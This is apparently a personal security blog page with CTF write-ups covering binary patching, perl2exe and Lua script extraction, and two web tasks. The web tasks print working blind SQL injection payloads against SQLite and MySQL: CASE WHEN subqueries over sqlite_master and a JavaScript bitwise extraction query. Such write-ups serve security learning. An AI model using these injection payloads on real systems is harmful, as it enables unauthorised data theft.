Then we can change the bytecode of the <span style="font-family: Courier New, Courier, monospace;">jnz</span> instruction (75) to the bytecode of a <span style="font-family: Courier New, Courier, monospace;">jz</span> instruction (74). The last comparisions use a different bytecode for the conditional jump (0f 85), but this is just as easily patched.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Then we can run the executable and wait to get "unlucky" and miss all 5 numbers. </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3l3yuY0qbac_BUIMipCAT4h8CVSXnQCYqmroK0yk6G3Dr1p3HrTw_OmPSbIE0Z3gDBsXo3_heyODm9KUrpzGVDx9MfEcDIrZseK3lzQE4AZxk-chkd3hClO7hY5J3yARRbp6ZkrMxt_c/s1600/dice2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="205" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3l3yuY0qbac_BUIMipCAT4h8CVSXnQCYqmroK0yk6G3Dr1p3HrTw_OmPSbIE0Z3gDBsXo3_heyODm9KUrpzGVDx9MfEcDIrZseK3lzQE4AZxk-chkd3hClO7hY5J3yARRbp6ZkrMxt_c/s320/dice2.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<h2>
<span style="font-size: large;">bin200</span></h2>
The second binary task was a bit more challenging. After loading it into IDA it does some suspicious things. It loads a library called <span style="font-family: Courier New, Courier, monospace;">p2x5123.dll</span> and then calls the <span style="font-family: Courier New, Courier, monospace;">RunPerl</span> function. I tried googling for a few strings related to this library and searching for "<span style="font-family: Courier New, Courier, monospace;">-p2x_debug</span>" showed me a <a href="http://www.fileoffset.com/re/tutorials/perl2exe.htm">page</a> that practically solved the problem.<br />
<br />
The tool used here is called perl2exe and it can run perl code inside an executable without perl being installed on the machine. Here is the part that calls the RunPerl function:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgOn9kQe_HeUCmjABq-zd_wy41VjPfw972Pj2cd74Zr9c0mFDZ1xPp3RU8m2t5lk-ya6BfEjE_vHBd9xHP89BeZpXfc19PLsmAbBzWlGOaoytB1deEfTJbOeq_OCyWeLWFJJcKjt1Ezns/s1600/bin200.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgOn9kQe_HeUCmjABq-zd_wy41VjPfw972Pj2cd74Zr9c0mFDZ1xPp3RU8m2t5lk-ya6BfEjE_vHBd9xHP89BeZpXfc19PLsmAbBzWlGOaoytB1deEfTJbOeq_OCyWeLWFJJcKjt1Ezns/s320/bin200.png" width="301" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
I started debugging and stepped into the <span style="font-family: Courier New, Courier, monospace;">RunPerl</span> call. Then I tried dumping the executable at various places and found a very useful string:</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">[*] Yes, that is correct! However that was not the goal of this challenge.<br /><br />Did you know that compiled code does not contain any comments?</span></blockquote>
So the task is to get the source of the perl script, not to get the correct password. The flag should be in the comments. This is just what the page I linked to above explains.<br />
<blockquote class="tr_bq">
<span style="font-family: 'Courier New', Courier, monospace;">Since at this point the files are decrypted, forcing the jmp at: 28091BE1 and the jmp at: 28091BE1, will enable you to drop the “_main.pl” file [...]</span></blockquote>
<span style="font-family: inherit;">There is another important trick that the page tells us. We can use the </span><span style="font-family: 'Courier New', Courier, monospace;">-p2x_debug</span><span style="font-family: inherit;"> flag when running the application to get debug information. Instead of getting the DLL and running/debugging it, I decided to work from the executable itself with the debug flag turned on.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">We have to step into the first call (</span><span style="font-family: Courier New, Courier, monospace;">unk_280ac0a5</span><span style="font-family: inherit;">), since this is where the files are decrypted. After a few steps we get to the part that is also shown in the perl2exe tutorial:</span><br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">p2x5123.dll:280AC503 push offset aIsext_initFile<br />; "ISEXT_Init: filename = %s\n"<br />p2x5123.dll:280AC508 call off_280B22CC<br />p2x5123.dll:280AC50E pop ecx<br />p2x5123.dll:280AC50F pop ecx<br />p2x5123.dll:280AC510 loc_280AC510:<br />p2x5123.dll:280AC510 push offset unk_280C6224<br />p2x5123.dll:280AC515 push esi<br />p2x5123.dll:280AC516 call edi ; msvcrt_strstr<br />p2x5123.dll:280AC518 pop ecx<br />p2x5123.dll:280AC519 cmp eax, esi<br />p2x5123.dll:280AC51B pop ecx<br />p2x5123.dll:280AC51C jz loc_280AC627<br />p2x5123.dll:280AC522 push offset unk_280C621C<br />p2x5123.dll:280AC527 push esi<br />p2x5123.dll:280AC528 call edi ; msvcrt_strstr<br />p2x5123.dll:280AC52A pop ecx<br />p2x5123.dll:280AC52B cmp eax, esi<br />p2x5123.dll:280AC52D pop ecx<br />p2x5123.dll:280AC52E jnz short loc_280AC559</span></blockquote>
The last jnz instruction is what we have to force to get the decrypted file saved. Actually the jump should not happen in order to save the file. We set a breakpoint to the <span style="font-family: Courier New, Courier, monospace;">call off_280b22cc</span> instruction, which displays the current file as debug information and wait until we get to main.pl. After that we toggle the Z flag on the <span style="font-family: Courier New, Courier, monospace;">jnz</span> instruction and continue debugging.<br />
<br />
This should dump a file called <span style="font-family: Courier New, Courier, monospace;">n.pl</span> into the same directory where the p2x DLL is stored. Looking at the source we can immediately see the flag:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNwBz8n0axDnsaqeY0B99e2U2Qba1zzC4sF6x1QLstccJ3XuYhApM04iATMP5u9XuTfwGTZB-k1ad-0xmy3r7NzF3wJaX688_iOFi04SRtcbN1QZnfqpRkuAOCPwMykq3FjJC0HQ6kuhE/s1600/bin200_flag.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNwBz8n0axDnsaqeY0B99e2U2Qba1zzC4sF6x1QLstccJ3XuYhApM04iATMP5u9XuTfwGTZB-k1ad-0xmy3r7NzF3wJaX688_iOFi04SRtcbN1QZnfqpRkuAOCPwMykq3FjJC0HQ6kuhE/s320/bin200_flag.png" width="319" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
The final flag was <span style="font-family: Courier New, Courier, monospace;">ebCTF{edbdb03c7998fa751be21d1364a58600}</span>, and we just scored 200 points.</div>
<br />
<h2>
<span style="font-size: large;">bin300</span></h2>
<div>
<span style="font-family: inherit;">This challenge is somewhat similar to the previous one, and I wouldn't say it's harder. The file we get is a 64bit ELF executable. Let's take a look in our beloved IDA.</span></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj368gqfP5xAIjrmJz9k4MRmzThuqGYW03uhv0IWeOs9qN7RDFsOVWKBLhCK_Qq8u4aoMURCRMKNkP78yjyBLNzy-JL17VfSr56V8N06A6WW_Je_4yH01CeGyQa0vegz2723KDeojrBBcY/s1600/bin300.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="235" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj368gqfP5xAIjrmJz9k4MRmzThuqGYW03uhv0IWeOs9qN7RDFsOVWKBLhCK_Qq8u4aoMURCRMKNkP78yjyBLNzy-JL17VfSr56V8N06A6WW_Je_4yH01CeGyQa0vegz2723KDeojrBBcY/s320/bin300.png" width="320" /></a></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
<div>
<span style="font-family: inherit;">It looks like there is some decryption going on and after that </span><span style="font-family: Courier New, Courier, monospace;">luaL_loadbuffer</span><span style="font-family: inherit;"> is called, which indicates that the decrypted data is a lua script. The script is marked as </span><span style="font-family: Courier New, Courier, monospace;">content_2593</span><span style="font-family: inherit;">. We should fire up gdb and look at the decrypted source. This could be done by placing a breakpoint on the </span><span style="font-family: Courier New, Courier, monospace;">luaL_loadbuffer</span><span style="font-family: inherit;"> call.</span></div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">(gdb) disas load_challenge_lua<br />(gdb) b *load_challenge_lua+130</span></blockquote>
The breakpoint is placed now. We should note that what was content_2593 in IDA is now $0x627340 in gdb. This is what we will have to look at.<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">(gdb) r<br />Starting program: /home/dada/Desktop/moon<br />Breakpoint 1, 0x000000000040224e in load_challenge_lua ()<br />(gdb) x/128x 0x627340</span></blockquote>
And here we get a bunch of bytes:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">0x203d2070 0x31313435 0x37333031 0x3d20670a<br />0x33363520 0x0a0a3132 0x772e6f69 0x65746972<br />0x6e452228 0x20726574 0x72756f79 0x73617020<br />0x726f7773 0x22203a64 0x6f690a29 0x756c662e<br />0x29286873 0x7361700a 0x726f7773 0x6f693d64<br />0x6165722e 0x0a292864 0x73206669 0x6e697274<br />0x656c2e67 0x6170286e 0x6f777373 0x20296472<br />0x33203d7e 0x68742032 0x200a6e65 0x70202020<br />0x746e6972 0x72572228 0x21676e6f 0x200a2922<br />0x72202020 0x72757465 0x0a30206e 0x0a646e65<br />0x3d20760a 0x610a6720 0x6168706c 0x22203d20<br />0x33323130 0x37363534 0x62613938 0x66656463<br />0x6f660a22 0x6f6c2072 0x3d20706f 0x32332c31<br />0x0a6f6420 0x20202020 0x203d2076 0x202a2076<br />0x20200a67 0x20762020 0x2076203d 0x0a702025<br />0x20202020 0x203d2072 0x20252076 0x200a3631<br />0x67202020 0x20646f6f 0x7473203d 0x676e6972<br />0x6275732e 0x706c6128 0x722c6168 0x722c312b<br />0x0a29312b 0x20202020 0x67206669 0x20646f6f<br />0x73203d7e 0x6e697274 0x75732e67 0x61702862<br />0x6f777373 0x6c2c6472 0x2c706f6f 0x706f6f6c<br />0x68742029 0x200a6e65 0x20202020 0x70202020<br />0x746e6972 0x72572228 0x21676e6f 0x200a2922<br />0x20202020 0x72202020 0x72757465 0x0a30206e<br />0x20202020 0x0a646e65 0x0a646e65 0x6e697270<br />0x57222874 0x206c6c65 0x656e6f64 0x6874202c<br />0x6c662065 0x69206761 0x65203a73 0x46544362<br />0x2e2e227b 0x73736170 0x64726f77 0x7d222e2e<br />0x2d0a2922 0x3066202d 0x33333232 0x34616361<br />0x31393338 0x65653432 0x61666636 0x38363637<br />0x34633338 0x000a6537 0x00000000 0x00000000</span></blockquote>
All that is left is to reverse the bytes inside these dwords (endianness) and unhexlify them. We get the following lua script source:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">p = 54111037<br />g = 56321<br />io.write("Enter your password: ")<br />io.flush()<br />password=io.read()<br />if string.len(password) ~= 32 then<br /> print("Wrong!")<br /> return 0<br />end<br />v = g<br />alpha = "0123456789abcdef"<br />for loop =1,32 do<br /> v = v * g<br /> v = v % p<br /> r = v % 16<br /> good = string.sub(alpha,r+1,r+1)<br /> if good ~= string.sub(password,loop,loop) then<br /> print("Wrong!")<br /> return 0<br /> end<br />end<br />print("Well done, the flag is: ebCTF{"..password.."}")<br />-- f02233aca4839124ee6ffa766883c47e</span></blockquote>
The flag is contained in the comments again. We can now submit <span style="font-family: Courier New, Courier, monospace;">ebCTF{f02233aca4839124ee6ffa766883c47e}</span> and score 300 more points.<br />
<br />
All in all these were really nice challenges, thanks to the guys at Eindbazen!balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com1tag:blogger.com,1999:blog-7011836621605765499.post-966225764478799922013-06-01T14:19:00.001-07:002013-06-01T14:38:13.137-07:00ebCTF - binary and web write-upThe first ever ebCTF (teaser) has just finished and I must say it was really well organized and the tasks were great too. The CTF lasted for 8 hours and there were 6 tasks in total. I only had a few hours to play but I managed to solve 3 of them with my one person team.<br />
<span style="font-size: large;"><br /></span>
<span style="font-size: large;">Dice Game</span><br />
<br />
<a href="http://ebctf.nl/files/8cc2391a7a4d2f86355a10a1abdafbba/ebCTF-Teaser-BIN100-Dice.exe">Dice Game</a> was a binary challenge worth 100 points. It turned out to be the easiest task, but I had fun cracking it. I may have taken an alternate route so it will be interesting to look at other write-ups. Let's see.<br />
<br />
The program is a text-based game where the player has to roll a specific number on a dice.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj27VZLcjoW4Pd_nYMtg88ivyyxeQ_9lVVWTzQb1-F9_RXPMnnIVwIU8KugpsLnk6eCIEEKc1_dVb1hv6GiI2-Ksc5dH302yq0YFpeULv-tMWkn2mRXBsliCPY57GK1HmVzwIJ-NtfBCB4/s1600/bin100_bad.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="161" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj27VZLcjoW4Pd_nYMtg88ivyyxeQ_9lVVWTzQb1-F9_RXPMnnIVwIU8KugpsLnk6eCIEEKc1_dVb1hv6GiI2-Ksc5dH302yq0YFpeULv-tMWkn2mRXBsliCPY57GK1HmVzwIJ-NtfBCB4/s320/bin100_bad.png" width="320" /></a></div>
<br />
Something tells me that solving this by pure luck would be unfeasible. Let's look at the binary in IDA. There are some interesting strings:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9y9iAQW3QnZOIkadIe5rDlEnAdyBeiEWbZ3SR16iVLsCPLnB1FZpnV95whpF2kcEjQVvo-so7Ma3-UYEjKT5Q_FlkRakqfdN7k3HYGAQXBWxEx8zH-ngymtzs_3TZABru2AGFGAIweHs/s1600/bin100_ida.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="211" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9y9iAQW3QnZOIkadIe5rDlEnAdyBeiEWbZ3SR16iVLsCPLnB1FZpnV95whpF2kcEjQVvo-so7Ma3-UYEjKT5Q_FlkRakqfdN7k3HYGAQXBWxEx8zH-ngymtzs_3TZABru2AGFGAIweHs/s320/bin100_ida.png" width="320" /></a></div>
<br />
Rolling 7 on a 6 sided dice? I don't think so. But we can look at the routine that prints the flag. The block that prints the flag doesn't make much sense at first and I'm too lazy to reverse it so I decide to look for the parts where the rolled numbers are checked. They are pretty easy to find.<br />
<br />
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijy0qn7tv9hQ6pugLkVAyxw8Nez_lwRPi3IVGbhD7GYgeWY7gpcds56k4ouvYNTMvfX4ZpufFwXIcGOxBcLnsmbAC1mW6NQqy1lQiYHCb3jXmPUa91TGJnFU9NxQdtxzsZ3ap2sXD29uo/s1600/bin100_check.png"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijy0qn7tv9hQ6pugLkVAyxw8Nez_lwRPi3IVGbhD7GYgeWY7gpcds56k4ouvYNTMvfX4ZpufFwXIcGOxBcLnsmbAC1mW6NQqy1lQiYHCb3jXmPUa91TGJnFU9NxQdtxzsZ3ap2sXD29uo/s320/bin100_check.png" /></a></div>
<div>
<br /></div>
<div>
We could try to debug this step-by-step and modify the Z flag after the cmp instructions. But what worries me is that there are calls to a time function after each roll. This might mean that the binary tries to detect debugging and I don't want to waste time.</div>
<div>
<br /></div>
<div>
Now I could try debugging this with DarkOlly, it has pretty good techniques to evade detection. I decided not to use Olly however. Patching the binary seemed much more fun.</div>
<div>
<br /></div>
<div>
I don't have a version of IDA that is capable of patching so I did it manually. I decided to look for the critical cmp instructions and patch there. To do this, I turned on visible opcode bytes in IDA (Options/General/... Number of opcode bytes). This is what it looked like afterwards:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwSE2P6ku_ADe711bPMCOXrmUWlBIRKZpB4vcTy6T9P2pFGRtmEA7jS8_oLb8TU65jpyfx_aAtNhxXSyQqADTtfd-MSIpOxHh0ZhvEHptaIdC1L2a-FAcab8LgwuK6GooqvLkUgo8w9Nw/s1600/bin100_opcode.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="107" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwSE2P6ku_ADe711bPMCOXrmUWlBIRKZpB4vcTy6T9P2pFGRtmEA7jS8_oLb8TU65jpyfx_aAtNhxXSyQqADTtfd-MSIpOxHh0ZhvEHptaIdC1L2a-FAcab8LgwuK6GooqvLkUgo8w9Nw/s320/bin100_opcode.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
My idea was to change the jnz instruction into a jz, because _not_ rolling a specific number (especially 7) is much easier. I just had to make sure that "83 7d a4 03 75 5e" only exists once in the binary so I'm overwriting at the correct place.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Changing 75 to 74 (jz) did the trick. This had to be repeated 4 more times. The last two instructions were near jump opcodes (0f 85). In this case 85 had to be changed to 84.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
After patching the binary I got the flag on my second try.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOE7N2uOWkKCBW1O2zpHH6AJhcIoEtvyhakiB3bNh0JlFHxbfxvHOGOjzXD_5j1OqOFCuhfxSBPFUndViQBEvTgBLGVJfHmEIax5ky6DngwbS1EuUfBq0pMvpevmmC4vLpyHvJMEOBxlU/s1600/bin100.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="121" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOE7N2uOWkKCBW1O2zpHH6AJhcIoEtvyhakiB3bNh0JlFHxbfxvHOGOjzXD_5j1OqOFCuhfxSBPFUndViQBEvTgBLGVJfHmEIax5ky6DngwbS1EuUfBq0pMvpevmmC4vLpyHvJMEOBxlU/s320/bin100.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
My team was the second to get any points so I guess this method wasn't too bad in terms of speed :)</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-size: large;">Wooden Shoes</span></div>
<br />
<a href="http://54.228.109.101:5000/">Wooden Shoes</a> was the title of the web challenge. It was worth 200 points and it turned out to be the 3rd hardest task. After opening the site this is what we see:<br />
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCRKFujVg7M8uVVDOM7UigJVMesdyVf0cbXbanMyKQ81_KsgeNOCp1orBF1dyPQNTgvdRI_hYchoQMYtMeTOYbSgjVUDZfoWXlujENVxD7aFoFm5IfFZZ4JikZ4F5ep4WuncBYdYC-jQ0/s1600/web200_web.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="231" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCRKFujVg7M8uVVDOM7UigJVMesdyVf0cbXbanMyKQ81_KsgeNOCp1orBF1dyPQNTgvdRI_hYchoQMYtMeTOYbSgjVUDZfoWXlujENVxD7aFoFm5IfFZZ4JikZ4F5ep4WuncBYdYC-jQ0/s320/web200_web.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Entering an apostrophe results in an error that gives us an important clue. </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYo1cTpQ398iHnDWRO8uTlkw8R9w6VW1M87IfGc7PRdplMMqhpDsSnUC9daPH6O9-Y5ZCEt8s2jDup0tGHGo0AvwUZwW-dt0ZU39amE_5htNeBdYCfUmuawRUUi9RHEkQr2ktf5pjKXGk/s1600/web200_err.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="174" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYo1cTpQ398iHnDWRO8uTlkw8R9w6VW1M87IfGc7PRdplMMqhpDsSnUC9daPH6O9-Y5ZCEt8s2jDup0tGHGo0AvwUZwW-dt0ZU39amE_5htNeBdYCfUmuawRUUi9RHEkQr2ktf5pjKXGk/s320/web200_err.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div>
When entering a well-formed search string we get a different url.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFBRIeBOOmVKk7RShn65loJibQbTm4p0crX8hn9vdeiLrCgeBeWStLT38TtQqb1SpgYoQNwYg8t_RuU1bMPeKmKcZ9ZJweMq6HgcvzrFnytuk12yYUtt_a9a-75TH1LEZrXLqW1nLbvig/s1600/web200_url.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="201" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFBRIeBOOmVKk7RShn65loJibQbTm4p0crX8hn9vdeiLrCgeBeWStLT38TtQqb1SpgYoQNwYg8t_RuU1bMPeKmKcZ9ZJweMq6HgcvzrFnytuk12yYUtt_a9a-75TH1LEZrXLqW1nLbvig/s320/web200_url.png" width="320" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
So the search string and the column that we sort by is somehow turned into a large hex value. Changing the hex value causes an internal server error, which is good. We can suspect that this hex value is somehow decrypted on the server, and then its contents are used for the query. We should hope that the restrictions are more lax after the value was decrypted. Let's figure out the format!</div>
<div>
<br /></div>
<div>
I made lots of queries and compared the 'what' part of the urls. Some of them are here:</div>
<div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">a - <span style="color: #0b5394;">07</span>4a9b5552ab43<br />b - <span style="color: #0b5394;">04</span>4a9b5552ab43<br />c - <span style="color: #0b5394;">05</span>4a9b5552ab43<br />aa - 07<span style="color: #0b5394;">21</span>e15749a145d9<br />ab - 07<span style="color: #0b5394;">22</span>e15749a145d9<br />ac - 07<span style="color: #0b5394;">23</span>e15749a145d9<br />aaa - 0721<span style="color: #0b5394;">8a</span>2d4bba4fdfdb</span></blockquote>
</div>
Looks like 1 character adds 1 byte to the hex value. When changing a single character only the corresponding hex byte changes. Changing the first character by 1 does not result in a change by 1 in the hex value, but it does with the second character. The first and only idea I had was some XOR encryption. It turned out to be right:<br />
<div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">0x07 ^ 0x97 == 0x04 ^ 0x98 == 0x05 ^ 0x99</span></blockquote>
So I entered lots and lots of spaces to figure out the key. It was 32 characters long and kept repeating after that. Then I figured out the syntax of the encrypted data. First comes the search query then a newline character and then the sort-by column's name.<br />
I wrote a tool that would encrypt any data for me. I tried putting SQLi payloads into the search query but that didn't work. All that was left was the order-by column part. This meant that the exploit will most likely be blind.<br />
It was quite easy to confirm that there is an SQLi vulnerability but exploiting it seemed impossible. I couldn't access the information_schema and a query that returned 2 rows in the order by clause wouldn't result in an error.<br />
<br />
After many tries I decided that this could not be MySQL and started looking at other possibilities. PostgreSQL - nope, Oracle - nope, MS SQL - nope. SQLite - yes! Yay and nay, because I didn't know a single thing about SQLite, especially about its SQLi specifics.<br />
After a few google queries I found what I needed: sqlite_master is the table that contains all the metadata.<br />
The solution was trivial from here. Here are 2 interesting queries that would do the trick with a python script:</div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">case when (select 1 from (select sql from sqlite_master where type='table' and tbl_name='secret_flag' limit 0,1) t where substr(t.sql,%s,1)>='%s') then `price` else `stock` end--</span></blockquote>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">case when (select 1 from (select flag from secret_flag limit 0,1) t where substr(t.flag,%s,1)>='%s') then `price` else `stock` end--</span></blockquote>
Here is the script in action:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaN38uA5aCr42lU8w0mcteXIa0rl9KrHC0Iwy9ScBdzVznU6sCcjLm4dSx5IltJ4L81H9_3hA4C2IaGriEFJmDFDGKoR5AP9I3ezY9XqmpYpkAbwBwj9x_CRoO9X0Bpck6r0egS0lIwBY/s1600/web200_flag.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="161" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaN38uA5aCr42lU8w0mcteXIa0rl9KrHC0Iwy9ScBdzVznU6sCcjLm4dSx5IltJ4L81H9_3hA4C2IaGriEFJmDFDGKoR5AP9I3ezY9XqmpYpkAbwBwj9x_CRoO9X0Bpck6r0egS0lIwBY/s320/web200_flag.png" width="320" /></a></div>
<br />balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com0tag:blogger.com,1999:blog-7011836621605765499.post-46431381812448701482013-05-26T08:49:00.000-07:002013-05-26T08:49:18.616-07:00Secuinside CTF - Banking write-up<div class="tr_bq">
Unfortunately I only had a couple of hours to solve tasks in this year's <a href="https://ctf.secuinside.com/">Secuinside CTF</a>. Banking was a web-based challenge for 300 points. Since the challenge isn't online any more I can't really take pictures and I have to write this from memory.</div>
<br />
<h2>
<span style="font-size: large;">Banking</span></h2>
The application was imitating a bank. You could register an id and pass and transfer money to other account numbers. You could also list other accounts and the amount of money on them. After looking at the source I found out that all of the commands are executed through JavaScript. The script sent POST requests to a PHP page called cmd.php, which returned data in JSON format. There was also a WebSocket used to send/receive JSON data in some cases.<br />
<br />
After looking around in the JavaScript file I found a function named <span style="font-family: Courier New, Courier, monospace;">listing</span>. This function was used to get a list of the existing account numbers and the amount of money on them. There was an SQLi vulnerability in the second parameter.<br />
<br />
I decided to write the exploit in JavaScript. There was a function named <span style="font-family: Courier New, Courier, monospace;">handleLoad</span><span style="font-family: inherit;"> which</span> opened a WebSocket and added a handler to the onmessage event. I decided to rewrite this function so that the message is logged on the JS console. I created this new <span style="font-family: Courier New, Courier, monospace;">handleLoad2</span> function:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">var handleLoad2 = function() {<br /> ws = new WebSocket("ws://1.234.27.139:38090/banking");<br /> ws.onopen = function(){<br /> console.log("opened.");<br /> ws_ready = 1;<br /> }<br /> ws.onclose = function(){ console.log("closed!"); }<br /> ws.onmessage = function(evt){ console.log(evt); }<br />}</span></blockquote>
This way I could see the <span style="font-family: Courier New, Courier, monospace;">listing</span> function's result directly on the console. Then I made sure there is a vulnerability:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">listing("balance", "desc");</span></blockquote>
This returned all of the accounts in a JSON object.<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">listing("balance", "desc limit 1,1");</span></blockquote>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWU1N1F7lajQ0Oah3-tQijwFSiB0lsUr2oZrrr9be82BxV2CON6vZ7srXbRsy_EOr0IQhf5gR62zKGv6jLB1zhcvl5x_Qz4xM49MbzC_iW8lAcVlLf6xjYUAyqxCq5G3ZccG1OCXrA_38/s1600/banking.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWU1N1F7lajQ0Oah3-tQijwFSiB0lsUr2oZrrr9be82BxV2CON6vZ7srXbRsy_EOr0IQhf5gR62zKGv6jLB1zhcvl5x_Qz4xM49MbzC_iW8lAcVlLf6xjYUAyqxCq5G3ZccG1OCXrA_38/s400/banking.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">This is where I knew there is a vulnerability</td></tr>
</tbody></table>
<br />
This only returned a single row. Neat, this is clearly vulnerable. All we have to do now is set up a query that blindly reads data from the database.<br />
<br />
I created a JS function that reads a single letter from a selected table/schema/column name and finally from the flag itself. To achieve this I modified the <span style="font-family: Courier New, Courier, monospace;">handleLoad2</span> function too because here is where the responses come in from my queries. Here is an example query that I sent in the second parameter of the <span style="font-family: Courier New, Courier, monospace;">listing</span> function. This one reads a character (with the index letter_id) from a table_schema value with a given index (limit_id).<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">var payload = "desc, (select t.table_schema from (select distinct table_schema from information_schema.tables limit " + limit_id + ",1) t where ord(substring(t.table_schema," + letter_id +",1))& " + x + "=" + x + " union all select 1) limit 1,1";</span></blockquote>
Then I read the table_schemas and found an interesting one called "flag_db". Inside this schema there was a single table called "flag_tbl" and this had a single column called "flag". Here is the final exploit that reads the flag character by character: <a href="https://gist.github.com/anonymous/d5306be1e881126f5659">https://gist.github.com/anonymous/d5306be1e881126f5659</a><br />
<br />
